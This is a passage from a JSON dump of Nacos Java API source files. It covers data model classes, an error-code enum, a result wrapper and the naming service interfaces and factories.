extendInfo;\n    }\n    \n    public void setExtendInfo(Map<String, Object> extendInfo) {\n        this.extendInfo = extendInfo;\n    }\n    \n    public String getAddress() {\n        return address;\n    }\n    \n    public void setAddress(String address) {\n        this.address = address;\n    }\n    \n    public ServerAbilities getAbilities() {\n        return abilities;\n    }\n    \n    public void setAbilities(ServerAbilities abilities) {\n        this.abilities = abilities;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        NacosMember that = (NacosMember) o;\n        return port == that.port && StringUtils.equals(ip, that.ip);\n    }\n    \n    @Override\n    public String toString() {\n        return \"Member{\" + \"ip='\" + ip + '\\'' + \", port=\" + port + \", state=\" + state + \", extendInfo=\" + extendInfo\n                + '}';\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(ip, port);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/response/Namespace.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\n/**\n * Namespace.\n *\n * @author diamond\n */\npublic class Namespace {\n    \n    private String namespace;\n    \n    private String namespaceShowName;\n    \n    private String namespaceDesc;\n    \n    private int quota;\n    \n    private int configCount;\n    \n    private int type;\n    \n    public String getNamespaceShowName() {\n        return namespaceShowName;\n    }\n    \n    public void setNamespaceShowName(String namespaceShowName) {\n        this.namespaceShowName = namespaceShowName;\n    }\n    \n    public String getNamespace() {\n        return namespace;\n    }\n    \n    public void setNamespace(String namespace) {\n        this.namespace = namespace;\n    }\n    \n    public Namespace() {\n    }\n    \n    public Namespace(String namespace, String namespaceShowName) {\n        this.namespace = namespace;\n        this.namespaceShowName = namespaceShowName;\n    }\n    \n    public Namespace(String namespace, String namespaceShowName, int quota, int configCount, int type) {\n        this.namespace = namespace;\n        this.namespaceShowName = namespaceShowName;\n        this.quota = quota;\n        this.configCount = configCount;\n        this.type = type;\n    }\n    \n    public Namespace(String namespace, String namespaceShowName, String namespaceDesc, int quota, int configCount,\n            int type) {\n        this.namespace = namespace;\n        this.namespaceShowName = namespaceShowName;\n        this.quota = quota;\n        this.configCount = configCount;\n        this.type = type;\n        this.namespaceDesc = namespaceDesc;\n    }\n    \n    public String getNamespaceDesc() {\n        return namespaceDesc;\n    }\n    \n    public void setNamespaceDesc(String namespaceDesc) {\n        this.namespaceDesc = namespaceDesc;\n    }\n    \n    public int getQuota() {\n        return quota;\n    }\n    \n    public void setQuota(int quota) {\n        this.quota = quota;\n    }\n    \n    public int getConfigCount() {\n        return configCount;\n    }\n    \n    public void setConfigCount(int configCount) {\n        this.configCount = configCount;\n    }\n    \n    public int getType() {\n        return type;\n    }\n    \n    public void setType(int type) {\n        this.type = type;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/response/ServerLoaderMetric.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.util.Map;\n\n/**\n * Server loader metric.\n *\n * @author yunye\n * @since 3.0.0-beta\n */\npublic class ServerLoaderMetric {\n    \n    private String address;\n    \n    private int sdkConCount;\n    \n    private int conCount;\n    \n    private String load;\n    \n    private String cpu;\n    \n    public String getAddress() {\n        return address;\n    }\n    \n    public void setAddress(String address) {\n        this.address = address;\n    }\n    \n    public int getSdkConCount() {\n        return sdkConCount;\n    }\n    \n    public void setSdkConCount(int sdkConCount) {\n        this.sdkConCount = sdkConCount;\n    }\n    \n    public int getConCount() {\n        return conCount;\n    }\n    \n    public void setConCount(int conCount) {\n        this.conCount = conCount;\n    }\n    \n    public String getLoad() {\n        return load;\n    }\n    \n    public void setLoad(String load) {\n        this.load = load;\n    }\n    \n    public String getCpu() {\n        return cpu;\n    }\n    \n    public void setCpu(String cpu) {\n        this.cpu = cpu;\n    }\n    \n    public static class Builder {\n        \n        private ServerLoaderMetric serverLoaderMetric = new ServerLoaderMetric();\n        \n        public static Builder newBuilder() {\n            return new Builder();\n        }\n        \n        public ServerLoaderMetric build() {\n            return serverLoaderMetric;\n        }\n        \n        public Builder withAddress(String address) {\n            serverLoaderMetric.setAddress(address);\n            return this;\n        }\n        \n        /**\n         * convert map to {@link ServerLoaderMetric}.\n         *\n         * @param metric map of server loader metric\n         * @return builder\n         */\n        public Builder convertFromMap(Map<String, String> metric) {\n            serverLoaderMetric.setSdkConCount(convertInt(metric, \"sdkConCount\", 0));\n            serverLoaderMetric.setConCount(convertInt(metric, \"conCount\", 0));\n            serverLoaderMetric.setLoad(metric.get(\"load\"));\n            serverLoaderMetric.setCpu(metric.get(\"cpu\"));\n            return this;\n        }\n        \n        private int convertInt(Map<String, String> metric, String key, int defaultValue) {\n            String value = metric.get(key);\n            if (!StringUtils.isBlank(value)) {\n                return Integer.parseInt(value);\n            }\n            return defaultValue;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/response/ServerLoaderMetrics.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport java.util.List;\n\n/**\n * Server loader metric summary.\n *\n * @author yunye\n * @since 3.0.0\n */\npublic class ServerLoaderMetrics {\n    \n    /**\n     * load metric of all servers.\n     */\n    private List<ServerLoaderMetric> detail;\n    \n    /**\n     * The number of all server nodes.\n     */\n    private int memberCount;\n    \n    /**\n     * The number of server nodes with load metric data.\n     */\n    private int metricsCount;\n    \n    /**\n     * Whether all server nodes return load indicators.\n     */\n    private boolean completed;\n    \n    /**\n     * The maximum number of SDK connections for the server node.\n     */\n    private int max;\n    \n    /**\n     * The minimum number of SDK connections for the server node.\n     */\n    private int min;\n    \n    /**\n     * total / server size.\n     */\n    private int avg;\n    \n    /**\n     * (total / server size) * 1.1 .\n     */\n    private String threshold;\n    \n    /**\n     * The total number of SDK connections for all server nodes.\n     */\n    private int total;\n    \n    public List<ServerLoaderMetric> getDetail() {\n        return detail;\n    }\n    \n    public void setDetail(List<ServerLoaderMetric> detail) {\n        this.detail = detail;\n    }\n    \n    public int getMemberCount() {\n        return memberCount;\n    }\n    \n    public void setMemberCount(int memberCount) {\n        this.memberCount = memberCount;\n    }\n    \n    public int getMetricsCount() {\n        return metricsCount;\n    }\n    \n    public void setMetricsCount(int metricsCount) {\n        this.metricsCount = metricsCount;\n    }\n    \n    public boolean isCompleted() {\n        return completed;\n    }\n    \n    public void setCompleted(boolean completed) {\n        this.completed = completed;\n    }\n    \n    public int getMax() {\n        return max;\n    }\n    \n    public void setMax(int max) {\n        this.max = max;\n    }\n    \n    public int getMin() {\n        return min;\n    }\n    \n    public void setMin(int min) {\n        this.min = min;\n    }\n    \n    public int getAvg() {\n        return avg;\n    }\n    \n    public void setAvg(int avg) {\n        this.avg = avg;\n    }\n    \n    public String getThreshold() {\n        return threshold;\n    }\n    \n    public void setThreshold(String threshold) {\n        this.threshold = threshold;\n    }\n    \n    public int getTotal() {\n        return total;\n    }\n    \n    public void setTotal(int total) {\n        this.total = total;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/v2/ErrorCode.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.v2;\n\n/**\n * Response Error Code.\n *\n * @author dongyafei\n * @date 2022/7/22\n */\n\npublic enum ErrorCode {\n    \n    /**\n     * success.\n     */\n    SUCCESS(0, \"success\"),\n    \n    /**\n     * parameter missing.\n     */\n    PARAMETER_MISSING(10000, \"parameter missing\"),\n    \n    /**\n     * access denied.\n     */\n    ACCESS_DENIED(10001, \"access denied\"),\n    \n    /**\n     * data access error.\n     */\n    DATA_ACCESS_ERROR(10002, \"data access error\"),\n    \n    /**\n     * 'tenant' parameter error.\n     */\n    TENANT_PARAM_ERROR(20001, \"'tenant' parameter error\"),\n    \n    /**\n     * parameter validate error.\n     */\n    PARAMETER_VALIDATE_ERROR(20002, \"parameter validate error\"),\n    \n    /**\n     * MediaType Error.\n     */\n    MEDIA_TYPE_ERROR(20003, \"MediaType Error\"),\n    \n    /**\n     * resource not found.\n     */\n    RESOURCE_NOT_FOUND(20004, \"resource not found\"),\n    \n    /**\n     * resource conflict.\n     */\n    RESOURCE_CONFLICT(20005, \"resource conflict\"),\n    \n    /**\n     * config listener is null.\n     */\n    CONFIG_LISTENER_IS_NULL(20006, \"config listener is null\"),\n    \n    /**\n     * config listener error.\n     */\n    CONFIG_LISTENER_ERROR(20007, \"config listener error\"),\n    \n    /**\n     * invalid dataId.\n     */\n    INVALID_DATA_ID(20008, \"invalid dataId\"),\n    \n    /**\n     * parameter mismatch.\n     */\n    PARAMETER_MISMATCH(20009, \"parameter mismatch\"),\n    \n    /**\n     * config gray request error.\n     */\n    CONFIG_GRAY_OVER_MAX_VERSION_COUNT(20010, \"config gray version version over max count\"),\n    \n    /**\n     * config gray tag v2 rule format invalid.\n     */\n    CONFIG_GRAY_RULE_FORMAT_INVALID(20011, \"config gray rule format invalid\"),\n    \n    /**\n     * config gray tag v2 rule version invalid.\n     */\n    CONFIG_GRAY_VERSION_INVALID(20012, \"config gray rule version invalid\"),\n    \n    /**\n     * config gray request error.\n     */\n    CONFIG_GRAY_NAME_UNRECOGNIZED_ERROR(20013, \"config gray name not recognized\"),\n    \n    /**\n     * reach cluster quota.\n     */\n    OVER_CLUSTER_QUOTA(5031, \"cluster capacity reach quota\"),\n    \n    /**\n     * reach group quota.\n     */\n    OVER_GROUP_QUOTA(5032, \"group capacity reach quota\"),\n    \n    /**\n     * reach tenant quota.\n     */\n    OVER_TENANT_QUOTA(5033, \"tenant capacity reach quota\"),\n    \n    /**\n     * over max content size.\n     */\n    OVER_MAX_SIZE(5034, \"config content size is over limit\"),\n    \n    /**\n     * service name error.\n     */\n    SERVICE_NAME_ERROR(21000, \"service name error\"),\n    \n    /**\n     * weight error.\n     */\n    WEIGHT_ERROR(21001, \"weight error\"),\n    \n    /**\n     * instance metadata error.\n     */\n    INSTANCE_METADATA_ERROR(21002, \"instance metadata error\"),\n    \n    /**\n     * instance not found.\n     */\n    INSTANCE_NOT_FOUND(21003, \"instance not found\"),\n    \n    /**\n     * instance error.\n     */\n    INSTANCE_ERROR(21004, \"instance error\"),\n    \n    /**\n     * service metadata error.\n     */\n    SERVICE_METADATA_ERROR(21005, \"service metadata error\"),\n    \n    /**\n     * selector error.\n     */\n    SELECTOR_ERROR(21006, \"selector error\"),\n    \n    /**\n     * service already exist.\n     */\n    SERVICE_ALREADY_EXIST(21007, \"service already exist\"),\n    \n    /**\n     * service not exist.\n     */\n    SERVICE_NOT_EXIST(21008, \"service not exist\"),\n    \n    /**\n     * service delete failure.\n     */\n    SERVICE_DELETE_FAILURE(21009, \"service delete failure\"),\n    \n    /**\n     * healthy param miss.\n     */\n    HEALTHY_PARAM_MISS(21010, \"healthy param miss\"),\n    \n    /**\n     * health check still running.\n     */\n    HEALTH_CHECK_STILL_RUNNING(21011, \"health check still running\"),\n    \n    /**\n     * illegal namespace.\n     */\n    ILLEGAL_NAMESPACE(22000, \"illegal namespace\"),\n    \n    /**\n     * namespace not exist.\n     */\n    NAMESPACE_NOT_EXIST(22001, \"namespace not exist\"),\n    \n    /**\n     * namespace already exist.\n     */\n    NAMESPACE_ALREADY_EXIST(22002, \"namespace already exist\"),\n    \n    /**\n     * illegal state.\n     */\n    ILLEGAL_STATE(23000, \"illegal state\"),\n    \n    /**\n     * node info error.\n     */\n    NODE_INFO_ERROR(23001, \"node info error\"),\n    \n    /**\n     * node down failure.\n     */\n    NODE_DOWN_FAILURE(23002, \"node down failure\"),\n    \n    /**\n     * server error.\n     */\n    SERVER_ERROR(30000, \"server error\"),\n    \n    /**\n     * API will be deprecated.\n     */\n    API_DEPRECATED(40000, \"API deprecated.\"),\n    \n    /**\n     * The `functionMode` of API is disabled.\n     */\n    API_FUNCTION_DISABLED(40001, \"API function disabled.\"),\n    \n    /**\n     * MCP Server not found any version.\n     */\n    MCP_SERVER_NOT_FOUND(50000, \"MCP server not found\"),\n    \n    /**\n     * MCP Server target version not found.\n     */\n    MCP_SEVER_VERSION_NOT_FOUND(50001, \"MCP server version not found\"),\n    \n    MCP_SERVER_VERSION_EXIST(50002, \"MCP server version has existed\"),\n    \n    MCP_SERVER_REF_ENDPOINT_SERVICE_NOT_FOUND(50003, \"MCP server ref endpoint service not found\"),\n    \n    AGENT_NOT_FOUND(50100, \"Agent not found\"),\n    \n    AGENT_VERSION_NOT_FOUND(50101, \"Agent version not found\"),\n    \n    AGENT_VERSION_EXIST(50102, \"Agent version already existed\"),\n    \n    /**\n     * Config use 100001 ~ 100999.\n     **/\n    METADATA_ILLEGAL(100002, \"Imported metadata is invalid\"),\n    \n    DATA_VALIDATION_FAILED(100003, \"No valid data was read\"),\n    \n    PARSING_DATA_FAILED(100004, \"Failed to parse data\"),\n    \n    DATA_EMPTY(100005, \"Imported file data is empty\"),\n    \n    NO_SELECTED_CONFIG(100006, \"No configuration selected\"),\n    \n    FUZZY_WATCH_PATTERN_OVER_LIMIT(50310, \"fuzzy watch pattern over limit\"),\n    \n    FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT(50311, \"fuzzy watch pattern matched count over limit\");\n    \n    private final Integer code;\n    \n    private final String msg;\n    \n    public Integer getCode() {\n        return code;\n    }\n    \n    public String getMsg() {\n        return msg;\n    }\n    \n    public static ErrorCode getErrorCode(String name) {\n        for (ErrorCode errorCode : ErrorCode.values()) {\n            if (errorCode.name().equals(name)) {\n                return errorCode;\n            }\n        }\n        return null;\n    }\n    \n    ErrorCode(Integer code, String msg) {\n        this.code = code;\n        this.msg = msg;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/v2/Result.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.v2;\n\nimport java.io.Serializable;\n\n/**\n * Response Result.\n *\n * @author dongyafei\n * @date 2022/7/12\n */\npublic class Result<T> implements Serializable {\n    \n    private static final long serialVersionUID = 6258345442767540526L;\n    \n    private final Integer code;\n    \n    private final String message;\n    \n    private final T data;\n    \n    public Result(Integer code, String message, T data) {\n        this.code = code;\n        this.message = message;\n        this.data = data;\n    }\n    \n    public Result() {\n        this(null);\n    }\n    \n    public Result(T data) {\n        this(ErrorCode.SUCCESS.getCode(), ErrorCode.SUCCESS.getMsg(), data);\n    }\n    \n    public Result(Integer code, String message) {\n        this(code, message, null);\n    }\n    \n    /**\n     * Success return with nothing.\n     * @param <T> data type\n     * @return Result\n     */\n    public static <T> Result<T> success() {\n        return new Result<>();\n    }\n    \n    /**\n     * Success return with data.\n     * @param <T> data type\n     * @return Result\n     */\n    public static <T> Result<T> success(T data) {\n        return new Result<>(data);\n    }\n    \n    /**\n     * Failed return with message and detail error information.\n     * @return Result\n     */\n    public static Result<String> failure(String message) {\n        return new Result<>(ErrorCode.SERVER_ERROR.getCode(), message);\n    }\n    \n    /**\n     * Failed return with errorCode and message.\n     * @param <T> data type\n     * @return Result\n     */\n    public static <T> Result<T> failure(ErrorCode errorCode) {\n        return new Result<>(errorCode.getCode(), errorCode.getMsg());\n    }\n    \n    /**\n     * Failed return with errorCode, message and data.\n     * @param <T> data type\n     * @return Result\n     */\n    public static <T> Result<T> failure(ErrorCode errorCode, T data) {\n        return new Result<>(errorCode.getCode(), errorCode.getMsg(), data);\n    }\n    \n    /**\n     * Failed return with code, message and data.\n     * @param <T>  data type\n     * @param code error code\n     * @param msg  error message\n     * @return Result\n     */\n    public static <T> Result<T> failure(Integer code, String msg, T data) {\n        return new Result<>(code, msg, data);\n    }\n    \n    @Override\n    public String toString() {\n        return \"Result{\" + \"errorCode=\" + code + \", message='\" + message + '\\'' + \", data=\" + data + '}';\n    }\n    \n    public Integer getCode() {\n        return code;\n    }\n    \n    public String getMessage() {\n        return message;\n    }\n    \n    public T getData() {\n        return data;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/model/v2/SupportedLanguage.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.model.v2;\n\n/**\n * Supported languages for announcements.\n *\n * @author zhangyukun on:2024/9/24\n */\npublic enum SupportedLanguage {\n    /**\n     * Chinese language.\n     */\n    ZH_CN(\"zh-CN\"),\n    \n    /**\n     * English language.\n     */\n    EN_US(\"en-US\");\n    \n    private final String language;\n    \n    SupportedLanguage(String language) {\n        this.language = language;\n    }\n    \n    public String getLanguage() {\n        return language;\n    }\n    \n    /**\n     * Check if the given language is supported.\n     *\n     * @param language the language to check\n     * @return true if the language is supported, false otherwise\n     */\n    public static boolean isSupported(String language) {\n        for (SupportedLanguage lang : SupportedLanguage.values()) {\n            if (lang.getLanguage().equals(language)) {\n                return true;\n            }\n        }\n        return false;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/CommonParams.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming;\n\n/**\n * Common parameters for service discovery.\n *\n * @author nkorange\n * @since 1.0.0\n */\npublic class CommonParams {\n    \n    public static final String CODE = \"code\";\n    \n    public static final String SERVICE_NAME = \"serviceName\";\n    \n    public static final String CLUSTER_NAME = \"clusterName\";\n    \n    public static final String NAMESPACE_ID = \"namespaceId\";\n    \n    public static final String GROUP_NAME = \"groupName\";\n    \n    public static final String LIGHT_BEAT_ENABLED = \"lightBeatEnabled\";\n    \n    public static final String NAMING_REQUEST_TIMEOUT = \"namingRequestTimeout\";\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/NamingFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.lang.reflect.Constructor;\nimport java.util.Properties;\n\n/**\n * Naming Factory.\n *\n * @author nkorange\n */\npublic class NamingFactory {\n    \n    /**\n     * Create a new naming service.\n     *\n     * @param serverList server list\n     * @return new naming service\n     * @throws NacosException nacos exception\n     */\n    public static NamingService createNamingService(String serverList) throws NacosException {\n        try {\n            Class<?> driverImplClass = Class.forName(\"com.alibaba.nacos.client.naming.NacosNamingService\");\n            Constructor constructor = driverImplClass.getConstructor(String.class);\n            return (NamingService) constructor.newInstance(serverList);\n        } catch (Throwable e) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, e);\n        }\n    }\n    \n    /**\n     * Create a new naming service.\n     *\n     * @param properties naming service properties\n     * @return new naming service\n     * @throws NacosException nacos exception\n     */\n    public static NamingService createNamingService(Properties properties) throws NacosException {\n        try {\n            Class<?> driverImplClass = Class.forName(\"com.alibaba.nacos.client.naming.NacosNamingService\");\n            Constructor constructor = driverImplClass.getConstructor(Properties.class);\n            return (NamingService) constructor.newInstance(properties);\n        } catch (Throwable e) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, e);\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/NamingMaintainFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.lang.reflect.Constructor;\nimport java.util.Properties;\n\n/**\n * Maintain service factory.\n *\n * @author liaochuntao\n * @since 1.0.1\n * @deprecated use {@link com.alibaba.nacos.maintainer.client.naming.NamingMaintainerFactory} in nacos-maintainer-client artifact tp replaced.\n */\n@Deprecated\npublic class NamingMaintainFactory {\n    \n    /**\n     * create a new maintain service.\n     *\n     * @param serverList server list\n     * @return new maintain service\n     * @throws NacosException nacos exception\n     */\n    public static NamingMaintainService createMaintainService(String serverList) throws NacosException {\n        try {\n            Class<?> driverImplClass = Class.forName(\"com.alibaba.nacos.client.naming.NacosNamingMaintainService\");\n            Constructor constructor = driverImplClass.getConstructor(String.class);\n            return (NamingMaintainService) constructor.newInstance(serverList);\n        } catch (Throwable e) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, e);\n        }\n    }\n    \n    /**\n     * create a new maintain service.\n     *\n     * @param properties properties\n     * @return new maintain service\n     * @throws NacosException nacos exception\n     */\n    public static NamingMaintainService createMaintainService(Properties properties) throws NacosException {\n        try {\n            Class<?> driverImplClass = Class.forName(\"com.alibaba.nacos.client.naming.NacosNamingMaintainService\");\n            Constructor constructor = driverImplClass.getConstructor(Properties.class);\n            return (NamingMaintainService) constructor.newInstance(properties);\n        } catch (Throwable e) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, e);\n        }\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/NamingMaintainService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\n\nimport java.util.Map;\n\n/**\n * Operations related to Nacos.\n *\n * @author liaochuntao\n * @since 1.0.1\n * @deprecated After 3.3.0, Use {@link com.alibaba.nacos.maintainer.client.naming.NamingMaintainerService} in\n * nacos-maintainer-client artifact tp replaced.\n */\n@Deprecated\npublic interface NamingMaintainService {\n    \n    /**\n     * update instance info.\n     *\n     * @param serviceName service name\n     * @param instance    instance\n     * @throws NacosException nacos exception\n     */\n    void updateInstance(String serviceName, Instance instance) throws NacosException;\n    \n    /**\n     * update instance info.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instance    instance\n     * @throws NacosException nacos exception\n     */\n    void updateInstance(String serviceName, String groupName, Instance instance) throws NacosException;\n    \n    /**\n     * query service.\n     *\n     * @param serviceName service name\n     * @return service\n     * @throws NacosException nacos exception\n     */\n    Service queryService(String serviceName) throws NacosException;\n    \n    /**\n     * query service.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @return service\n     * @throws NacosException nacos exception\n     */\n    Service queryService(String serviceName, String groupName) throws NacosException;\n    \n    /**\n     * create service to Nacos.\n     *\n     * @param serviceName name of service\n     * @throws NacosException nacos exception\n     */\n    void createService(String serviceName) throws NacosException;\n    \n    /**\n     * create service to Nacos.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @throws NacosException nacos exception\n     */\n    void createService(String serviceName, String groupName) throws NacosException;\n    \n    /**\n     * create service to Nacos.\n     *\n     * @param serviceName      name of service\n     * @param groupName        group of service\n     * @param protectThreshold protectThreshold of service\n     * @throws NacosException nacos exception\n     */\n    void createService(String serviceName, String groupName, float protectThreshold) throws NacosException;\n    \n    /**\n     * create service to Nacos.\n     *\n     * @param serviceName      name of service\n     * @param groupName        group of service\n     * @param protectThreshold protectThreshold of service\n     * @param expression       expression of selector\n     * @throws NacosException nacos exception\n     */\n    void createService(String serviceName, String groupName, float protectThreshold, String expression)\n            throws NacosException;\n    \n    /**\n     * create service to Nacos.\n     *\n     * @param service  name of service\n     * @param selector selector\n     * @throws NacosException nacos exception\n     */\n    void createService(Service service, AbstractSelector selector) throws NacosException;\n    \n    /**\n     * delete service from Nacos.\n     *\n     * @param serviceName name of service\n     * @return if delete service success return true\n     * @throws NacosException nacos exception\n     */\n    boolean deleteService(String serviceName) throws NacosException;\n    \n    /**\n     * delete service from Nacos.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @return if delete service success return true\n     * @throws NacosException nacos exception\n     */\n    boolean deleteService(String serviceName, String groupName) throws NacosException;\n    \n    /**\n     * update service to Nacos.\n     *\n     * @param serviceName      name of service\n     * @param groupName        group of service\n     * @param protectThreshold protectThreshold of service\n     * @throws NacosException nacos exception\n     */\n    void updateService(String serviceName, String groupName, float protectThreshold) throws NacosException;\n    \n    /**\n     * update service to Nacos.\n     *\n     * @param serviceName      name of service\n     * @param groupName        group of service\n     * @param protectThreshold protectThreshold of service\n     * @param metadata         metadata of service\n     * @throws NacosException nacos exception\n     */\n    void updateService(String serviceName, String groupName, float protectThreshold, Map<String, String> metadata)\n            throws NacosException;\n    \n    /**\n     * update service to Nacos with selector.\n     *\n     * @param service  {@link Service} pojo of service\n     * @param selector {@link AbstractSelector} pojo of selector\n     * @throws NacosException nacos exception\n     */\n    void updateService(Service service, AbstractSelector selector) throws NacosException;\n    \n    /**\n     * Shutdown the resource service.\n     *\n     * @throws NacosException exception.\n     */\n    void shutDown() throws NacosException;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/NamingResponseCode.java",
